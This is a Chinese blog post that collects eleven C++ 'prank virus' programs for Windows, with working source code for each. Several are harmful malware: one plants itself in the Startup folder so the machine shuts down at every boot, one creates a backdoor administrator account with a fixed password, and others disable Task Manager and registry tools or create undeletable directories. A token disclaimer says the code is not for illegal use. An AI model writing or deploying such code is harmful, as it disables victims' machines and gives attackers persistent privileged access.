史上最全c++恶搞代码，总结11个病毒程序

注：以下代码应勿用于非法（Dev-c++5.11实测可用）

1.

效果:无限生成cmd

解决方法：关闭程序即可

Code:

#include<bits/stdc++.h>#include<windows.h>using namespace std;int main(){    while(1)system("start cmd");}

2.

效果:使鼠标所点应用消失

解决方法：暂无

Code:

#include<bits/stdc++.h>#include<windows.h>using namespace std;int main(){    while(1)    {        HWND hWnd=GetForegroundWindow();        ShowWindow(hWnd,SW_HIDE);    } }

3.

效果:使鼠标乱飞

解决方法：任务管理器（Ctrl+Alt+Delete）用方向键选该程序，点击Delete关闭

Code:

#include<bits/stdc++.h>#include<windows.h>using namespace std;int main(){    while(1)    {        SetCursorPos(rand()%1000,rand()%1000);    } }

4.

效果:立刻或定时关机

解决方法：cmd（Win+R,输入:cmd），输入shutdown -a

Code:

#include<bits/stdc++.h>#include<windows.h>using namespace std;int main(){    system("shutdown -s -t 60");->1分钟    system("shutdown -p");->立刻}

5.

效果:卡死

注意:Windows高版本可能没有作用

解决方法：任务管理器（Ctrl+Alt+Delete）用方向键选该程序，点击Delete关闭

Code:

#include<bits/stdc++.h>#include<windows.h>using namespace std;int main(){    while(1)malloc(1000);}

警告:从6.开始为危险/永久性程序，请慎重使用

6.

效果:开机即关机

提示:操作启动项，可能被杀毒软件拦截

解决方法：杀毒软件

Code:(保存在C:\main.cpp，编译后生成C:\main.exe，也可更改18行代码)

#include <stdio.h>#include <windows.h>#include <Shlobj.h>#pragma comment(lib, "shell32.lib") BOOL AutoRun_Startup(char *lpszSrcFilePath, char *lpszDestFileName){    char szStartupPath[MAX_PATH] = { 0 };    char szDestFilePath[MAX_PATH] = { 0 };    SHGetSpecialFolderPath(NULL, szStartupPath, CSIDL_STARTUP, TRUE);    wsprintf(szDestFilePath, "%s\\%s", szStartupPath, lpszDestFileName);    CopyFile(lpszSrcFilePath, szDestFilePath, FALSE);    return TRUE;} int main(int argc, char * argv[]){    AutoRun_Startup("c://main.exe", "main.exe");    system("shutdown /p");    return 0;}

7.

效果:添加用户

提示:可能被杀毒软件拦截

解决方法：杀毒软件

Code:

#include <stdio.h>#include <assert.h>#include <windows.h> #include <lm.h>#pragma comment(lib,"netapi32")void AddUser(LPWSTR UserName, LPWSTR Password){    USER_INFO_1 user;    user.usri1_name = UserName;    user.usri1_password = Password;    user.usri1_priv = USER_PRIV_USER;    user.usri1_home_dir = NULL;    user.usri1_comment = NULL;    user.usri1_flags = UF_SCRIPT;    user.usri1_script_path = NULL;    if (NetUserAdd(NULL, 1, (LPBYTE)&user, 0) == NERR_Success)        printf("创建用户完成 \n");    LOCALGROUP_MEMBERS_INFO_3 account;    account.lgrmi3_domainandname = user.usri1_name;    if (NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1) == NERR_Success)        printf("添加到组完成 \n");}void EnumUser(){    LPUSER_INFO_0 pBuf = NULL;    LPUSER_INFO_0 pTmpBuf;    DWORD dwLevel = 0;    DWORD dwPrefMaxLen = MAX_PREFERRED_LENGTH;    DWORD dwEntriesRead = 0, dwTotalEntries = 0, dwResumeHandle = 0;    DWORD i;    NET_API_STATUS nStatus;    LPTSTR pszServerName = NULL;     do    {        nStatus = NetUserEnum((LPCWSTR)pszServerName, dwLevel, FILTER_NORMAL_ACCOUNT,            (LPBYTE*)&pBuf, dwPrefMaxLen, &dwEntriesRead, &dwTotalEntries, &dwResumeHandle);         if ((nStatus == NERR_Success) || (nStatus == ERROR_MORE_DATA))        {            if ((pTmpBuf = pBuf) != NULL)            {                for (i = 0; (i < dwEntriesRead); i++)                {                    assert(pTmpBuf != NULL);                     if (pTmpBuf == NULL)                    {                        break;                    }                    wprintf(L"%s\n", pTmpBuf->usri0_name, pTmpBuf);                    pTmpBuf++;                }            }        }         if (pBuf != NULL)        {            NetApiBufferFree(pBuf);            pBuf = NULL;        }    } while (nStatus == ERROR_MORE_DATA);    NetApiBufferFree(pBuf);} int main(int argc, char *argv[]){    AddUser(L"lyshark", L"123123");    EnumUser();     system("pause");    return 0;}

8.

效果:禁用任务管理器

提示:可能被杀毒软件拦截

Code:

#include <stdio.h>#include <windows.h> int main(){    HKEY hkey;    DWORD value = 1;    RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);    RegSetValueEx(hkey, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));    RegCloseKey(hkey);    return 0;}

9.

效果:禁用注册表

提示:可能被杀毒软件拦截

Code:

#include <stdio.h>#include <windows.h> int main(){    HKEY hkey;    DWORD value = 1;    RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);    RegSetValueEx(hkey, "DisableRegistryTools", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));    RegCloseKey(hkey);    return 0;}

10.

效果:桌面壁纸

Code:

#include <stdio.h>#include <windows.h> int main(){   DWORD value = 1;    HKEY hkey;    RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);    RegSetValueEx(hkey, "Wallpaper", NULL, REG_SZ, (unsigned char *)"c://", 3);    RegSetValueEx(hkey, "WallpaperStyle", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));    return 0;}

11.

效果:不可删除文件

解决方法：将51-52行换成52行

Code:

#include <stdio.h>#include <shlobj.h>#include <windows.h> // 添加不可删除文件BOOL SetImmunity(char *FilePath,char *FileName){    char file[2048] = { 0 };     strncpy(file, FilePath, strlen(FilePath));    strcat(file, FileName);    BOOL bRet = CreateDirectory(file, NULL);    if (bRet)    {        strcat(file, "\\anti...\\");        bRet = CreateDirectory(file, NULL);        if (bRet)        {            SetFileAttributes(file, FILE_ATTRIBUTE_HIDDEN);            return TRUE;        }    }    return FALSE;}void ClearImmunity(char *FilePath, char *FileName){    char file[2048] = { 0 };     strncpy(file, FilePath, strlen(FilePath));    strcat(file, FileName);     strcat(file, "\\anti...\\");    RemoveDirectory(file);     ZeroMemory(file, MAX_PATH);    strncpy(file, FilePath, strlen(FilePath));    strcat(file, FileName);    RemoveDirectory(file);} int main(int argc, char * argv[]){    char *Fuck[4] = { "你", "好", "世", "界" };    int FuckLen = sizeof(Fuck) / sizeof(int);     TCHAR Destop[MAX_PATH];    SHGetSpecialFolderPath(NULL, Destop, CSIDL_DESKTOP, FALSE);       for (int x = 0; x < FuckLen; x++)    {        SetImmunity("c://", Fuck[x]);        //ClearImmunity("c://", Fuck[x]);    }     system("pause");    return 0;}